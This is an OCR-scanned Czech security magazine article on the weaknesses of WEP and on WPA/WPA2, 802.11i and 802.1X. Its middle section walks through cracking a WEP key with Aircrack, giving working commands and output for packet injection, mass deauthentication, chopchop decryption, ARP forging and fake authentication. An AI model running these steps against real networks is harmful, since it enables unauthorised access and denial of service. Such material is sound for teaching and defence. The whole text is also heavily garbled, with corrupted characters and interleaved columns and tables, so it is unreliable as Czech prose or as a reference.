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stupeR obt?gnosti

bezpelnostn? opat$en?, obvykle se pou-

g8 slabl gifrovac? protokol, nap$%klad
WEP. V tomto l18nku prozkoum8&me slab§
masta protokolu WEP a zjist?me, jak snadn®
je protokol nabourat. Politov8nzhodn§ nedo-
statelnost protokolu WEP zvIrazRuje potSe-
bu nov® bezpelnostn? architektury ve formi
standardu 802.1i, takge se tak® podzv&me
na implementace nov®ho standardu WPA
a WPA2 spolelni s jejich prvnzmi meng?mi
zranitelnostmi a na jejich integraci do operal -
n2ch syst®mT.

Odpol3vej v pokoji WEP

WEP (Wired Equivalent Privacy) byl vichoz?m
gifrovac2m protokolem, jeng byl poprv® uveden
v roce 1999 ve standardu IEEE 802.11. Proto-
kol je zalogen na principu gifrovaczho algoritmu
RC4 s tajnTm kllem o velikosti 40 nebo 104
bitT kombinovanTm s 24bitovTch inicialialn?m
vektorem (IV) pro gifrov8n? textov® zpr§vy M
a jejtho kontrolnho soultu T ICV (Integrity
Check Value). Gifrovang zpr§va C byla proto
urlena pomoc? n8sleduj?c?ho vzorce:

I kdyg jsou v za$?zen’ch Wi-Fi aktivov§na

C=[M|[ICV(M)]+[RCA(K || IV) ]
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(" Wi-Fi (Wireless Fidelity) je jednou z hlavnzch bezdr§tovich
technologi? soulasnosti. Podpora Wi-Fi se integruje do st8le vice
a v2ce za$?zen?: notebookT, PDA, mobilnzch telefonT. Vgichni vgak
p$lig lasto nech8vaj? jeden aspekt konygurace bez povgimnut?

a t2m je bezpelnost. Pod2vejme se bl2ge na YiroveR bezpelnosti
gifrovac’ch metod ug2vanTch v modernzch implementac?ch Wi-Fi.

kde || pSedstavuje oper§tor zSethzen? a + ope-
r8tor XOR. KPlem k bezpelnosti WEP je sa-
mozSejmn inicializaln? vektor, takge k udrgen?
pSimnSen® Yrovnl zabezpelen? a zmengen?
mognosti odhalen2 by mnl bTt IV zvdtgen pro
kagdT paket tak, aby se n§sledn® pakety gifro-
valy odlignTmi ki21i. IV se bohugel pro bezpel-
nost protokolu WEP p$en&g? jako negifrovanT
text a standard 802.11 nenaSizuje zvygovgn?
IV, 12mg ponech§v§ toto bezpelnostn? opatéen?
na volbh jednotlivich implementac’ch bezdr§-
tovich termin8IT (p$stupovich bodech nebo
bezdr§tovich kart§ch).

p
Z tohoto 118nku se naulze...

A slabg§ masta gifrovgn2 WEP,

A glob8In? shrnut? standardu 802.11i a jeho ko-
merlIn%ch implementacz WPA a WPA2,

A z8klady standardu 802.1x,

A potenci§n? slab§ m2sta WPA a WPA?2.

MNI byste vNdit...

A z8klady TCP/IP a protokolT Wi-FlI,
A mnli byste m2t z§kladn? znalosti o gifrovgn2.
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Bezpelnost WEP, WPA a WPA2

Kr&tkT pohled do historie
protokolu WEP

Protokol WEP nevytvoSily odbornzci
na bezpelnost nebo kryptograyi,
takge rychle prok8zal svou zrani-
telnost vTli probl®mTm RC4, kter®
o ItySi roky d$?ve popsal David Wagner.
V roce 2001 vydali Scott Fluhrer, ltsik
Mantin a Adi Shamir (zkr8cenld FMS)
jejich slavnou publikaci o WEP, v n2g
jsou pSedstaveny dvi) zraniteln§ mzsta
v gifrovac?m algoritmu RC4: slab® m2s-
ta invariance a zn§m® Yitoky IV. Oba
Ytoky se spol®haj? na skutelnost, ge
u urlitTch hodnot kPIT je mogn®, aby
u bity v pol8telnich bajtech keystre-
amu (proudu KkPRIT) z8visely pouze
na nikolika bitech gifrovactho klle
(alkoli bNgnN je asi padess§tiprocentn?
pravdipodobnost, ge kagdT proud ki
IT bude odlignT od pSedchoz?ho prou-
du). Jelikog gifrovac? kil se sestav?
z8etzov&n?m tajn@ho kPle s IV, urlit®
hodnoty IV poskytup slab® kil e.

Zranitelnosti byly zneugity tako-
vImi bezpelnostn?mi n§stroji, jako je
AirSnort, kterT umogRuje obnovit kl?-
le WEP analyzov8n?m dostate In®ho
mnogstv2 s25ov®ho provozu. | kdyg by
tento typ Ytoku mohl bTt v rmci ro-
zumn®ho lasov®ho r&8mce Y%spNgnN
proveden na velmi vyt2gen® s2i, bylo
by potSeba pomNrni hodnN lasu na
zpracov8n? dat. David Hulton (hlkari)
vymyslel optimalizovanou verzi %to-
KT, kter§ bere v Yivahu nejenom prv-
n? bajt vIstupu Rc4 (jako v metodn
FMS), ale tak® n8§sledujic? bajty. T2m
se snyjilo mnogstv? dat, kter® jsou
k analTz8m potSeba.

Fadou slabTch mzst tak® trp? f§ze
kontroly integrity a to kvTli algoritmu
CRC32, kterT se pro tuto ¥lohu pou-
¢2v8. Algoritmus CRC32 bNgnN sloug?
pro detekci chyb, avgak nikdy nebyl
povagov8n za kryptograycky bezpel-
nT a to v dTsledku sv® line§rnosti, jak
uvedli v roce 2001 Nikita Borisov, lan
Goldberg a David Wagner.

Pot® bylo pSipugthno, ge protokol
WEP poskytuje pSijatelnou %roveR bez-
pelnosti pouze pro dom8&c? ugivatele
a m®nh dTlegit® aplikace. S odhalenm
YitokT KoreK v roce 2004 (zobecnn®
Yitoky FMS zahrnuj’c? optimalizace od
hlkari) a invertnho induktnzho %toku
Arbaugh, jeng dovoluje degifrovat libo-

Keystream = RC4 (IV,k) ICV(M) |

XOR

| ICV(M) |

<
<

\/

SIFROVANO

C=[M]|lICV(M)] +[RC4(K|[IV)]

Obrgzek 1. Gifrovac? protokol WEP

Tabulka 1. LasovT pSehled z&niku WEP

Z8% 1995
Zen 2000

Potenci§In? zranitelnost RC4 (Wagner)
Prvn? publikace na t®ma zranitelnosti protokolu WEP: Unsafe

at any key size; An analysis of the WEP encapsulation (Wal-

ker)
KvNten 2001

Induktivn? vybranT ¥tok proti WEP/WEP2 (Arbaugh)

CRC Yitok bit pipping T Intercepting Mobile Communicati-
ons: The Insecurity of 802.11 (Borisov, Goldberg, Wagner)

btoky FMS T Weaknesses in the Key Scheduling Algorithm

btoky KoreK (jedineln® IV) T vyd8n? chopchop a chopper
Vyd8n2 n8strojT Aircrack (Devine) a WepLab (Sanchez )

Lervenec
2001
Srpen 2001
of RC4 (Fluhrer, Mantin, Shamir)
Srpen 2001 Vyd8n? n§stroje AirSnort
Bnor 2002 Optimalizovan® %toky FMS od hilkari
Srpen 2004
Lervenec/
Srpen 2004 implementuj’c? %itoky KoreK.

voln® pakety bez znalosti kl2le pomoc?
injektce paketT, vgak i tuto opatrnou
vihradu rozfoukal var. Tyto Yioky
implementu? n8stroje k nabour8v8n?
syst®mT jako Aircrack od Christophe
Devine nebo WepLab od Jos® Ignacio
S8nchez, kter® jsou schopny obnovit
128bitovT kPl WEP za m@nl neg
10 minut (nebo nepatrn del¢? dobu
v z8vislosti na konkr@tn?m p&stupov®m
bodu a bezdr§tov® karth).

PSid§n’m injekce paket] se
znaln zlepgila doba nabour§vgn?
WEP. Ug§ nebyly tSeba miliony ale
pouze tisice paketT s dostatelnTm
mnogstv?m jedinelnTch IV T kolem
150 000 pro 64bitovT k2l WEP a 500
000 pro 128bitovT kIl. Dky injekci
paketT bylo sesb2r§nz nezbytnlch dat
ot8zkou minut. V soulasn® dobl je
protokol WEP deynitivn) mrtev (viz
Tabulka 1) a nemNl by se poug?vat
ani s cyklickTm posuvem kPIT.

A Trhliny v bezpelnosti protokolu
WEP Ize shrnout n8sledovni:

A Slab§ mssta algoritmu RC4
v r8mci protokolu WEB kvTli kon-
strukci kil e,

A1V jsou pSalig kr§tk® (24 bitT T pro
pades§tiprocentn2 mognost kolize
je tSeba m@nN neg 5000 paketT)
a je dovoleno opNtovn® pougit? IV
(68dn§ ochrana proti opakovgn?
zprsvy),

A Neexistuje po$gdn§ kontrola inte-
grity (algoritmus CRC32 sloug? k
detekci chyb a kvTli sv® line8rnosti
nen? kryptograycky bezpelnl),

A Nem§ vestavlnou metodu pro
aktualizace kRIT.

Nabourgn? kl2le WEP pomoc?
n8stroje Aircrack

Praktick® nabourgn? protokolu WEP
Ize jednoduge zn8zornit pomoc?
ngstrojT jako nap$%klad Aircrack (vy-
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Vlpis 1. Aktivace monitorovacho regimu Pogadavek ARP
# airmon.sh start athO ARP (Address Resolution Protocol
Interface Chipset Driver T RFC826) sloud? k pSekladu 32bitov®
ath0 Atheros madwiy (monitor mode enabled) IP adresy na 48bitovou ethernetovou
adresu (s Wi-Fl rovnlg vyugvaj?
protokol Ethernet). Jednoduge Seleno,
— . o . kdyg polzal A (192.168.1.1) chce ko-
Vlipis 2. Odhalov8n? sousedn?ch s a jejich klientT munikovat s poltalem B (192.168.1.2),
# airodump atho wep-crk 0 zn8m§ IP adresg se mus? za pomoci
protokolu ARP pSelogit na adresu MAC.
BSSID PWR Beacons # Data CH MB ENC  ESSID Proto polzal A zagle vysZac? zpr§vu
00:13:10:1F:9A:72 62 305 16 1 48 WEP hakin9demo obsahup IP adresu pol%ale B (Who
has 192.168.1.27 Tell 192.168.1.1).
BSSID STATION PWR Packets ESSID CllovT pol?tal rozpozns, ge IP adresa
00:13:10:1F:9A:72 00:0C:F1:19:77:5C 56 1 hakin9demo v paketu odpovzd§ jeho viastn? adrese
a zagle odpoviN (192.168.1.2 is at 01:
tvoSenT francouzskTm vizkumnzkem  d@lku 68 oktetT. Pro generov§nich 23:45:67:89:0A). Odezva se vitginou
bezpelnosti Christophem Devinem).  novich ARP odezev od legitimnzho ukl&ds§ do pamnti cache.
Aircrack obsahuje tSi hlavn? utility pro  hostitele Ize pogadavky ARP opakovat — \_

tSi f§ze Ytoku, jejichg proveden? je
nezbytn® k obnoven? ki2le:

A airodump: bezdrgtovT sniffovac?
n8stroj, kterT sloug? k odhalen?
st2 WEP,

A aireplay: injekInz ngstroj pro zvl-
gen? s%ov®ho provozu,

A aircrack: n8stroj na crackovgn?
kRIT WEP vyug?vajic? sesb?ran®
jedineln® IV.

V soulasnosti aireplay podporuje pou-
ze injekce na urlitlch bezdr§tovich
chipsetech a podpora injekc? v moni-
torovac?m regimu vygaduje nejnovijg?
z8platy ovladalT. Monitorovac? regim
odpov2d§ sm¥gen®mu regimu v klasic-
KTch s?tch, kterT zamezuje zam2nut?
paketT, kter® nejsou urleny pro mo-
nitorovaczho hostitele (cog se obvykle
provede na fyzick® vrstvl) z8sobnzku
modelu OSI) a tud?y umogRuje zachy-
cen? vgech paketT. Se z§platovanTmi
ovladali se k soubNgn®mu zachycen?
a injekci sX¥ov®ho provozu vygaduje
pouze jedna bezdr§tovg karta.
Hlavn?m clem Ytoku je vygene-
rovat provoz za Y%lelem zachycen?
jedinelnTch IV pougvanich mezi
opr&vninim klientem a p$stupovim
bodem. NRkter§ gifrovan§ data jsou
jednoduge rozpoznateln§, protoge ma-
2 pevnou d®lku, pevnou adresu urlen?
atd. To je p$pad paketT pogadavku
ARP (viz Ramelek Pogadavek ARP),
kter® se zasdaj na vysdac? adresu
(FF:FF:FF:FF:FF:FF) a maj? pevnou
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(replay), I2mg se stejn® bezdrgtov®
zpr8vy gifrujz pomoc? novich IV.

V n8sledujcich pSkladech je 00:
13:10:1F:9A:72 MAC adresa p$stu-
pov®ho bodu (BSSID) na kan§lu 1
s identyk8torem SSID hakin9demo
a 00:09:5B:EB:C5:2B je MAC ad-
resa bezdr§toveho klienta (kterT
v z8vislosti na dan®m p$?padu pou-
§2v8 protokol WEP nebo WPA-PSK).
K prov&dnn? sniffovacich pSkazT je
tSeba m2t opr&vnin? ugivatele root.

Nejprve je nutn® aktivovat na
bezdr§tov® kartf) (v nagem p$2padn
jde o model zalogenT na Atheros)
monitorovac? regimu, abychom mobhli
z%skat vegkerT provoz (viz VTpis 1).
V dalg?m kroku je tSeba skenovgnch
vgech Itrn8cti kan8IT, kter® mohou
s Wi-Fi poug?vat, odhalit sousedn?
s a jejich klienty (viz VIpis 2).

VTsledek uvedenT na VTpisu
2 lze interpretovat n8sledovnh:
s touto bezdr§tovou s?i je asociov8n
a autentizovgn p$stupovT bod s BS-
SID 00:13:10:1F:9A:72 vyug?vajc?
gifrov8n? protokolu WEP na kan§lu 1
s identiyk8torem SSID hakin9demo
a klient identiykovanT pomoc? MAC
00:0C:F1:19:77:5C.

Po nalezen? c2lov® siN by se
mDlo zah§jit zachyt§v8n? na spr8v-
n®m kanglu, abychom pSi skenovgn?
jinTch kan8IT nepSigli o nNjak® pake-
ty. N&sledujic? pSkaz vytvo$? tentTg
vTstup jako pSedchoz? p$kaz:

# airodump athO wep-crk 1

www.hakin9.org

D$ve seshzran® informace mTgete
pomoc? n8stroje aireplay d&le poug
k injekci s%¥ov@ho provozu. Injekce
zalne, kdyg se na bezdr8tov® si
objev2 zachycenT pogadavek ARP
asociovanT k c2lov@mu BSSID:

# aireplay -3 \
-b 00:13:10:1F:9A:72 \
-h 00:0C:F1:19:77:5C \
-x 600 athO

-9

Read 980 packets
(got 16 ARP requests),
sent 570 packets. ..

Nakonec se n§stroj aircrack poug2vg
k obnoven? ki2le WEP. Tento posled-
n? krok je mogn® d2ky souboru pcap
spustit, zat’mco n8§stroj airodump
st8le zachyt§vg data (vIsledky viz
Obr§zek 2):

# aircrack -x -0 wep-crk.cap

Dalg? typy YtokT
Aircrack

Aircrack rovnDg umogRuje prov@st
jin® zajPmav® typy %tokT. Na nikter®
z nich se nyn2 pod2v&8me.

btok 2: Deautentizace

Tento %tok Ize poug?vat k obnoven?
skryt®ho SSID (tedy takov®ho SSID,
kter® se nepSen8g?), zachycen? 4-1§-
zov®ho handshake WPA nebo vynu-
cenz odm2tnut? slugby DoS (vice se
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o tom doltete d§le v sekci 0 802.11i).
Z8mirem Ytoku je pSinutit klienta
k ophtovn® autentizaci, cog ve spo-
jen? s nedostate lnou autentizac? pro
ovI&d&n2 r8mcT (ug2vanou k autenti-
zaci, asociaci a podobnf) umogRuje
YitoIn%kovi spoofovat MAC adresy.

BezdrstovT klient mTge bTt deau-
tentizovgn pomoc? n§sledujtczho pé-
kazu zpTsobujictho prostSednictv2m
spooyngu BSSID deautentizaci pa-
ketT, kter§ se maj? odeslat z BSSID
na klienta MAC:

# aireplay -0 5
-a 00:13:10:1F:9A:72
-C 00:0C:F1:19:77:5C
atho

Rovnng Ize prov&dNt hromadnou deau-
tentizaci (i kdyg nenz vgdy spolehlivs).
Hromadn§ deautentizace spol&/§
v tom, ge Ytoln%k nepSetrgith spoofuje
BSSID a opakovani) pos38 na vysZdac?
adresu deautentizaln? paket:

# aireplay -0 0
-a 00:13:10:1F:9A:72
atho

btok 3: Degifrovgn?
libovolnTch datovich paketT
WEP bez znalosti k2l e

Tento Ytok je zalogen na n8stroji
s n§zvem chopchop, kterT prokazuje
princip KoreK. PSi %toku je mogn@ de-
gifrovat pakety WEP bez znalosti kil e.
Kontrola integrity implementovang
v protokolu WEP umogRuje ¥toInzkovi
upravit jak gifrovanT paket, tak jeho od-
povidajic? algoritmus CRC. Mimoto po-
ugit? oper§toru XOR v protokolu WEP
znamen§, ge vybranT bajt v gifrovan®
zpr8vl v@gdy z8vis? na tomt®g bajtu
negifrovan® zpr8vy. Pokud se tedy
posledn? bajt gifrovan® zpr8vy oddnk,
zpr8va se sice porug? ale rovng tm
Ize uhodnout hodnotu odpovdaj’ccho
negifrovan®ho bajtu a podle toho gif-
rovanou zpr8vu opravit.

Je-li pot® opravenT paket znovu
zaveden na s%, p$?stupovT bod ho od-
stran?, kdyg se domn?v§, ge byl chybnT
(v tomto p$padn je tSeba prov@st novT
odhad), ale sprgvnT odhad bude jako
obvykle pSenesen. Opakov&nzm Yitoku
pro vgechny bajty zpr8vy Ize degifro-

[00:00:09] Tested 2 keys {got 707852 IVs)

Obrgzek 2. VTsledky n§stroje Aicrack po nfkolika minut§ch

vat paket WEP a obnovit proud kPIT.
Pamatujete si, ge zvygov&n? IV nen?
v protokolu WEP povinn®, takge tento
proud kRIT je mogn® znovu poud? ke
spoofov8n? n8slednich paketT (oph-
tovnTm pougit?m stejn®ho V).

Bezdr§tov§ karta mus? bt
pSepnuta na monitorovac? regim
na sprvn®m kan§lu (popis, jak to
udnlat, viz pSedchoz? p$kiad). Btok
mus? bTt spugthn proti legitimnzmu
klientovi (v nagem p$padn se st§le
jedn8 o 00:0C:F1:19:77:5C). N8stroj
airplay vyzve Ytoln’ka, aby péijal
kagdT gifrovanT paket (viz VIpis 3).
Vytvo$? se dva soubory pcap: jeden
soubor pro negifrovanT paket a druhT
soubor pro jeho odpovadajic? proud
kile. VislednT soubor Ize pSev@st
do liteln®ho tvaru pomoc? vhodn®-
ho Itectho n8stroje (my poug?8me
cpdump) T pSklad vimndny ping mezi
polaali viz Vpis 4.

Po zachycen? proudu KkERIT je
mogn® zfalgoval libovoInT paket.
D8le uv8d2me spoofovanl poga-
davek ARP zaslanlT polidalem
192.168.2.123 (00:0C:F1:19:77:5C)
na 192.168.2.103:

# arpforge \
replay_dec-0916-114019.xor \
1\
00:13:10:1F:9A:72 \
00:0C:F1:19:77:5C \
192.168.2.123 \
192.168.2.103 \

forge-arp.cap
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Nakonec se pougije n§stroj aireplay
k opakovgn? tohoto paketu (viz VT-
pis 5).

Tato metoda je m@®nh automa-
tizovan® neg vlastn? spoofovgn?
pogadavku ARP (volba -1), ale je
gk8lovatelnDjg? T %toln%k mTge po-
moc? odhalen®ho proudu KRIT fal-
govat libovoIn® pakety, kter® nejsou
delg? neg proud KRIT (jinak se mus?
proud kRIT rozgit).

btok 4: Falegn§ autentizace
D$ve popsan§ metoda crackovgn?
ki2Zle WEP (%tok 1 a 3) vygaduije le-
gitimnzho klienta (skuteln®ho nebo
virtug§Inzho, alkoli lepg? je skutelnT
klient) asociovan®ho k p$’stupov@mu
bodu pro zajigthn, ge p$stupovT bod
nevySad? pakety kvTli neasociovan®
adrese urlenz.

Poug?v§-li se otevéen§ autenti-
zace, lze autentizovat a asociovat
k p$stupov®mu bodu jak®hokoli
klienta. PS2stupovT bod vgak vySad?
jak®koli pakety, kter® nejsou gifrovs-
ny sprévnim kl2lem WEP. V p$kladu
na VIpisu 6 se ke zfalgovgn? auten-
tizaln?ho a asocialnzho pogadavku
na SSID hakin9demo (BSSID: 00:
13:10:1F:9A:72) pomoc? spoofovan®
adresy MAC 0:1:2:3:4:5 poug?/§ n§-
stroj Aireplay.

NDkter® p$?stupov® body vygadu-
2, aby se klienti kagdTch 30 sekund
znovu asociovali. Takov® chov&n?
Ize v aireplay napodobit nahrazen2m
druh® volby (0) za 30.
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VTpis 3. Degifrovgn? paketT WEP bez znalosti kl2le

# aireplay -4 -h 00:0C:F1:19:77:5C athO
Read 413 packets. ..
Size: 124, FromDS: 0, ToDS: 1 (WEP)
BSSID = 00:13:10:1F:9A:72
Dest. MAC = 00:13:10:1F:9A:70
Source MAC = 00:0C:F1:19:77:5C
0x0000: 0841 d500 0013 101f 9a72 000c 119 775c .A....... ro...w\
0x0010: 0013 101f 9a70 c040 c3ec el00 blel 062c ..... P-@--een.. s
0x0020: 5cf9 2783 0c89 68a0 23f5 0b47 5abd 5b76 \."...h.#..GZ.[v
0x0030: 0078 91c8 adfe bf30 d98c 1668 56bf 536c .x..... 0...hv.sl
0x0040: 7046 5fd2 d44b c6a0 a3e2 6Gael 3477 74b4 pF_..K....j.4wt.
0x0050: fh13 clad b8b8 e735 239a 55c2 ea9f 5be6 ....... 5#.U...[-
0x0060: 862b 3ecl 5bla ala7 223b 0844 37dl e6el .+>.[...";.D7...
0x0070: 3b88 c5bl 0843 0289 1bff 5160 ;
Use this packet ? y
Saving chosen packet in replay_src-0916-113713.cap
Offset 123 ( 0% done) | xor = 07 | pt = 67 | 373 frames written in 1120ms
Offset 122 ( 1% done) | xor = 7D | pt = 2C | 671 frames written in 2013ms
-9
Offset 35 (97% done) | xor = 83 | pt = 00 | 691 frames written in 2072ms
Offset 34 (98% done) | xor = 2F | pt = 08 | 692 frames written in 2076ms
Saving plaintext in replay_dec-0916-114019.cap
Saving keystream in replay_dec-0916-114019.xor
Completed in 183s (0.47 bytes/s)

VTpis 4. Lten? souboru pcap z Yitoku

# tcpdump -s 0 -n -e -r replay_dec-0916-114019.cap

reading from yle replay_dec-0916-114019.cap, link-type IEEE802_11 (802.11)
11:40:19.642112 BSSID:00:13:10:1f:9a:72 SA:00:0c:f1:19:77:5¢c
DA:00:13:10:1f:9a:70

LLC, dsap SNAP (Oxaa), ssap SNAP (Oxaa), cmd 0x03: oui Ethernet (0x000000),
ethertype IPv4 (0x0800): 192.168.2.103 > 192.168.2.254:

ICMP echo request, id 23046, seq 1, length 64

VTpis 5. Opakov&n? zfalgovan®ho paketu

# aireplay -2 -r forge-arp.cap athO
Size: 68, FromDS: 0, ToDS: 1 (WEP)
BSSID = 00:13:10:1F:9A:72

Dest. MAC = FF:FF:FF:FF:FF:FF

Source MAC = 00:0C:F1:19:77:5C

0x0000: 0841 0201 0013 101f 9a72 000c 119 775¢c .A....... ro...w\
0x0010: ffff £fFf fFFf 8001 c3ec el00 blel 062C ............... )
0x0020: 5c¢cf9 2785 4988 60f4 25Ff1 4b46 1lab0 199c \.".l1. _%.KF....
0x0030: b78c 5307 6f2d bdce di18c 8d33 ccll 510a ..S.o-.....3..0Q.
0x0040: 49b7 52da 1.R.

Use this packet ? y

Saving chosen packet in replay_src-0916-124231.cap
You must also start airodump to capture replies.
Sent 1029 packets...

VTpis 6. Falgovgn? autentizace

# aireplay -1 0 -e hakin9demo -a 00:13:10:1F:9A:72 -h 0:1:2:3:4:5 athO
18:30:00 Sending Authentication Request

18:30:00 Authentication successful

18:30:00 Sending Association Request

18:30:00 Association successful
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802.11i

V lednu roku 2001 byla v institutu
IEEE sestavena Ykolov8 skupina
i za %lelem zlepgen? autentizace dat
standardu 802.11 a bezpelnosti gifro-
v8n2. Jako reakci na korpor§tn? zgjem
0 bezdr8tovou bezpelnost vydala Wi-
-Fi Alliance (asociace pro propagaci
a certiykaci Wi-Fi) v dubnu roku 2003
doporulenz Rovnig si vgak byly viddo-
mi, ge z8kaznici by si nebyli ochotni
vymDnit sv® st8vajzc? zaSzenz.

V lervnu 2004 bylo schv8leno ko-
neln® vyd8§n? standardu 802.11i, kterT
dostal od asociace Wi-Fi Alliance ko-
merln? n§zev WPA2. Standard |IEEE
802.11i pSinesl takov® z§kladn? zmNny
jako oddnlovan? autentizace ugivatele
od vynucov8r? integrity a soukrom?
zpr8vy, tud?y poskytuje stabiln? a gk§-
lovatelnou bezpelnostn? architekturu
vhodnou nejen pro dom8c? s# ale
i velk® podnikov® syst®my. Nov§ archi-
tektura pro bezdr8tov® s nese ozna-
lenz RSN (Robust Security Network)
a pou@v§ autentizaci 802.1X, silnou
distribuci KRIT a nov® mechanismy
k zajigtn? integrity a soukrom2.

| kdyg architektura RSN je slogi-
tNjg2, nab%z? bezpeln§ a gk§lovateln§
Segen? pro bezdr§tovou komunikaci.
Ve vitgin p$padech akceptuje RSN
pouze za%zen? s podporou RSN,
nicm®nl) IEEE 802.11i deynuje tak®
architekturu TSN (Transitional Securi-
ty Network), do kter® Ize zahrnout jak
syst®my RSN, tak syst®my WEP, cog
umogn? ugivatelTm vlas aktualizovat
sv® za%zen? Pokud procedura auten-
tizace nebo asociace pougit§ mezi
stanice vyugavg 4-f8zovT handshake,
asociace se oznaluje jako RSNA (Ro-
bust Security Network Association).

Sestaven? bezpeln®ho komuni-
kalnzho kontextu se ski§d§ ze Ity$
8zi (viz Obrgzek 4):

A odsouhlasen?  bezpelnostnich
z8sad,

L autentizace 802.1X,

odvozov8n? a distribuce kl?le

A utajen? a integrita dat RSNA

P

Fr8ze 1: Odsouhlasen?
bezpelnostn?ch z8sad
Prvn2f§ze vygaduje, aby se komuniku-
jc? strany dohodli na bezpelnostnich
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Bezpelnost WEP, WPA a WPA2

“systém |
Zadatele

Sluzby nabizené
systémem
autentizatoru

PAE autentizatoru

| PAE Zadatele

Prvn? f§ze je zn§zornlna na Obr§z-

Server ku 5.

| autentizacniho

| systému )

| P F&ze 2: autentizace 802.1X
s:r::rlzacm Druhou f822 je autentizacace 802.1X
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Obrgzek 3. Model IEEE 802.1X ze speciykace IEEE 802.1X

z8sad8ch, kter® budou pougvat.
Bezpelnostn? z8sady podporovan®

ve zpr§vd Beacon nebo Probe Re-
spond (n8sledujc? Probe Request od
klienta). Pot® n8sleduje standardn?

v s2ch TSN, kde je autentizace vgdy
YispNgn8). Odezva klienta je obsagena
ve zpr8vl) Association Request, jejy

tion Response z p$stupov@ho bodu.
Informace o bezpelnostn? z8sadN se
zaglou v poli RSN IE (Information Ele-
ment) a popisujz

Vymény protokolu EAP
se prenasi na vyssi
vrstvé protokolu

A podporovan® autentizaln? metody
(802.1X, PSK (Pre-Shared Key)),
pSstupovim bodem jsou oznSmeny A bezpelnostn? protokoly pro pro-
voz d4lho vysd8n? T unicast
(CCMP, TKIP a podobnD) T sada
gifer po dvojicich
otevien§ autentizace (stejn) jako A bezpelnostn? protokoly pro pro-
voz skupinov®ho vysd8n? T mul-
ticast (CCMP, TKIP a podobnl)
T skupinov§ sada gifer,
platnost je oviSend pomoc? Associa- A podporu pSed-autentizace, kter§
v r&mci hladk®ho pSed§n? umog-
Ruje ugivatelTm prov@st pSed-
-autentizaci pSed pSepnut?m na
pSzstupovT bod stejn® s2h.

zalogen§ na protokolu EAP a d$ve
odsouhlasen® speciyck® autentizaln?
metodn: EAP/TLS s certiyk8ty klienta
a serveru (vygadujc? infrastrukturu ve-
Sejn®ho kile), EAP/TTLS nebo PEAP
pro hybridn? autentizaci (s certiyk8ty
vygadovanimi pouze pro servery)
a tak dSle. Autentizace 802.1X se
zah8§p, kdyg si pSstupovT bod vygs-
d§ Ydaje o identitd klienta s odezvou
klienta obsahujc? upSednostRovanou
autentizaln? metodu. Pot® problhne
vimina vyhovujic’ch  zpr§v  mezi
klientem a autentizaln?m serverem,
aby se vygeneroval spolelnT master
kkl (MK). Na konci procedury se
z autentizalnzho serveru na p$stupo-
vT bod zagle zpr§va Radius Accept
obsahujac? MK a konelnou zpr8vu
EAP Success pro klienta. Tato druh§
f8ze je zn§zornNna na Obr§zku 6.

F8ze 3: Hierarchie

kl2le a distribuce

Bezpelnost pSipojen? znalnN z§vis?
na bezpelnosti kRIT. V RSN m§
kagdT ki2l omezenou givotnost a cel-
kov§ bezpelnost se zajigSuje pomoc?

IEEE 802.1X a EAP

Autentizaln? protokol IEEE 802.1X (rovng zn8mT jako Port-
-Based Network Access Control) pedstavuje rémec vyvinutT,
pTvodnn urlenT pro klasick® sh), kterT poskytuje mechanismy
pro distribuci k2T, autentizaci a autorizaci. D§le implementuje
$2zen? pSstupu pro ugivatele, kte$? se pSipojuj? na s%. Architekturu
IEEE 802.1X tvo$ tSi funkln? entity:

A supplicant pSipojen? k s,
A autentiztor zajigSujic? 2zen? pSestupu,
A autentizaln? server prov&dnjzc? autorizaln? rozhodnut2.

V bezdr§tovich s? pln? funkci autentizaln? autority p$?stupovl
bod. KagdT fyzickT port (virtugin? port v klasicklch s2?ch) se
dni2 na dvi logick® I8sti vytv&Sej’c2 PEA (Port Access Entity).
Autentizace PAE je vgdy otevéen§ a umogRuje autentizaln?
r§mce, kdegto slugba PAE je otevéena pouze po %sphgn® auten-
tizaci (tj. v autorizovan®m stavu) po omezenou dobu (standardni
3 600 sekund). Rozhodnut? povolit pSstup je obvykle provedeno
tSet? entitou, konkr®nN autentizaln?m serverem (kterim mTge bt
buNto vyhrazenT server Radius nebo T nap$klad v dom§cch s
tch T jednoduchT proces bngc? na pSstupov@m bodu). Jak tyto
entity komunikuj2 zn§zorRuje Obr§zek 3.

~

Standard 802.11i prov8d? mal® zmNny k IEEE 802.1X pro

bezdr8tov® sh, aby zodpovidal za mognost kr&dege identity.
V r8mci zajigtin?, aby jak supplicant, tak autentiz§tor pSed
zp$stupnin? st vypol2taly sve® tajn® kile a aktivovaly gifro-
v8n? byla zallenna autentizace zpr8vy.

Komunikace supplicanta a autentiz§tora prob’h§ prostSed-
nictv2m protokolu zalogen®m na EAP. Vgimnhte si, ge %loha
autentiz§toru je v podstati pasivn?2 T mTge jednoduge pSedat
autentizaln?mu serveru vgechny zpr§vy. EAP pSestavuje r§-
mec pro pSenos rTznlch autentizalnch metod, kterT dovoluje
pouze omezenl polet zpr§v (Request, Response, Success,
Failure), zat?mco jin® pomocn® zpr8vy jsou z8visl® na zvolen®
autentizaln? metodl: EAP-TLS, EAP-TTLS, PEAP, Kerberos
V5, EAP-SIM a tak dSle. Jakmile se celT proces dokonl?
(kvTli velk®ému mnogstvz mognTch metod uvgd?me podrobn®
vysvitlen?), obl entity (tj. supplicant a autentiz§tor) maj? tajnl
univerz8In? kl. Komunikace mezi autentiz8torem a autenti-
zaln?m serverem pokraluje pomoc? protokolu EAPOL (EAP
Over LAN), s jehog pomoc? se na bezdr§tovich si? pSen§g?
data EAP prostSednictv2m protokolT na vygg? vrstvid, nap$klad
Radius.
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